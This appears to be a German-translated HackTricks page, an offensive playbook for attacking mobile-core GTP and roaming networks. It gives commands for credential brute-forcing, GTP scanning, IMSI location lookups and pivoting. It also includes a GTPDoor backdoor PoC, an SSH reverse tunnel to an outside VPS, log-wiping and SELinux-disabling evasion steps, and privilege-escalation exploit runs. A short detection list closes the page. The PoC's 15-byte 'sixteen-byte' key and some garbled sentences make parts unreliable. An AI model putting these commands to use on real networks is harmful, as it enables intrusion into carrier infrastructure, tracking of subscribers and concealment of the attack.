6.5 KiB
Raw Blame History

Telecom-Netzwerkausnutzung (GTP / Roaming-Umgebungen)

{{#include ../../banners/hacktricks-training.md}}

Note

Mobile-Core-Protokolle (GPRS Tunneling Protocol GTP) durchqueren oft semi-vertrauenswürdige GRX/IPX-Roaming-Backbones. Da sie über ungesichertes UDP ohne nahezu keine Authentifizierung laufen, kann in der Regel jeder Zugang innerhalb eines Telekomperimeters direkt auf die Kernsignalisierungsebenen zugreifen. Die folgenden Notizen sammeln offensive Tricks, die in der Wildnis gegen SGSN/GGSN, PGW/SGW und andere EPC-Knoten beobachtet wurden.

1. Recon & Erster Zugriff

1.1 Standard-OSS / NE-Konten

Eine überraschend große Anzahl von Netzwerk-Elementen von Anbietern wird mit fest codierten SSH/Telnet-Benutzern wie root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … ausgeliefert. Eine dedizierte Wortliste erhöht den Erfolg bei Brute-Force-Angriffen erheblich:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Wenn das Gerät nur eine Management-VRF bereitstellt, pivotieren Sie zuerst über einen Jump-Host (siehe Abschnitt «SGSN Emu Tunnel» unten).

1.2 Host Discovery innerhalb von GRX/IPX

Die meisten GRX-Betreiber erlauben immer noch ICMP Echo über das Backbone. Kombinieren Sie masscan mit den integrierten gtpv1 UDP-Proben, um GTP-C-Listener schnell zu kartieren:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Abfragen von Abonnenten cordscan

Das folgende Go-Tool erstellt GTP-C Create PDP Context Request-Pakete und protokolliert die Antworten. Jede Antwort zeigt den aktuellen SGSN / MME an, der die abgefragte IMSI bedient, und manchmal das besuchte PLMN des Abonnenten.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Wichtige Flags:

  • --imsi Zielteilnehmer IMSI
  • --oper Heimat / HNI (MCC+MNC)
  • -w Rohpakete in pcap schreiben

Wichtige Konstanten im Binärformat können gepatcht werden, um Scans zu erweitern:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Codeausführung über GTP GTPDoor

GTPDoor ist ein kleiner ELF-Dienst, der UDP 2123 bindet und jedes eingehende GTP-C-Paket analysiert. Wenn die Nutzlast mit einem vorab geteilten Tag beginnt, wird der Rest entschlüsselt (AES-128-CBC) und über /bin/sh -c ausgeführt. Die stdout/stderr werden in Echo Response-Nachrichten exfiltriert, sodass keine ausgehende Sitzung jemals erstellt wird.

Minimales PoC-Paket (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Detection:

  • Jeder Host, der unausgeglichene Echo-Anfragen an SGSN-IPs sendet
  • GTP-Version-Flag auf 1 gesetzt, während der Nachrichtentyp = 1 (Echo) Abweichung von der Spezifikation

4. Pivoting Through the Core

4.1 sgsnemu + SOCKS5

OsmoGGSN liefert einen SGSN-Emulator, der in der Lage ist, einen PDP-Kontext zu einem echten GGSN/PGW herzustellen. Sobald verhandelt, erhält Linux eine neue tun0-Schnittstelle, die vom roaming Peer erreichbar ist.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Mit ordnungsgemäßem Firewall-Hair-Pinning umgeht dieser Tunnel nur Signalisierungs-VLANs und landet Sie direkt im Datenverkehr.

4.2 SSH Reverse Tunnel über Port 53

DNS ist in Roaming-Infrastrukturen fast immer offen. Exponieren Sie einen internen SSH-Dienst zu Ihrem VPS, der auf :53 lauscht, und kehren Sie später von zu Hause zurück:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Überprüfen Sie, ob GatewayPorts yes auf dem VPS aktiviert ist.

5. Verdeckte Kanäle

Kanal Transport Dekodierung Anmerkungen
ICMP EchoBackdoor ICMP Echo Req/Rep 4-Byte Schlüssel + 14-Byte Chunks (XOR) reiner passiver Listener, kein ausgehender Verkehr
DNS NoDepDNS UDP 53 XOR (Schlüssel = funnyAndHappy) kodiert in A-Record-Oktetten überwacht *.nodep Subdomain
GTP GTPDoor UDP 2123 AES-128-CBC Blob in privatem IE vermischt sich mit legitimen GTP-C Gesprächen

Alle Implantate implementieren Watchdogs, die ihre Binärdateien timestomp und sich neu starten, wenn sie abstürzen.

6. Verteidigungsumgehung Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilegienausweitung auf Legacy NE

# DirtyCow  CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit  CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit  CVE-2021-3156
python3 exploit_userspec.py

Reinigungstipp:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Werkzeugkasten

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS benutzerdefinierte Werkzeuge, die in vorherigen Abschnitten beschrieben sind.
  • FScan : Intranet TCP-Scans (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS bösartiger WPAD
  • Microsocks + ProxyChains : leichtgewichtiges SOCKS5-Pivoting
  • FRP (≥0.37) : NAT-Überwindung / Asset-Bridging

Erkennungsideen

  1. Jedes Gerät außer einem SGSN/GGSN, das Create PDP Context Requests erstellt.
  2. Nicht-standardisierte Ports (53, 80, 443), die SSH-Handshakes von internen IPs empfangen.
  3. Häufige Echo-Anfragen ohne entsprechende Echo-Antworten könnte auf GTPDoor-Beacons hinweisen.
  4. Hohe Rate von ICMP-Echo-Antwortverkehr mit großen, nicht-null Identifikations-/Sequenzfeldern.

Referenzen

{{#include ../../banners/hacktricks-training.md}}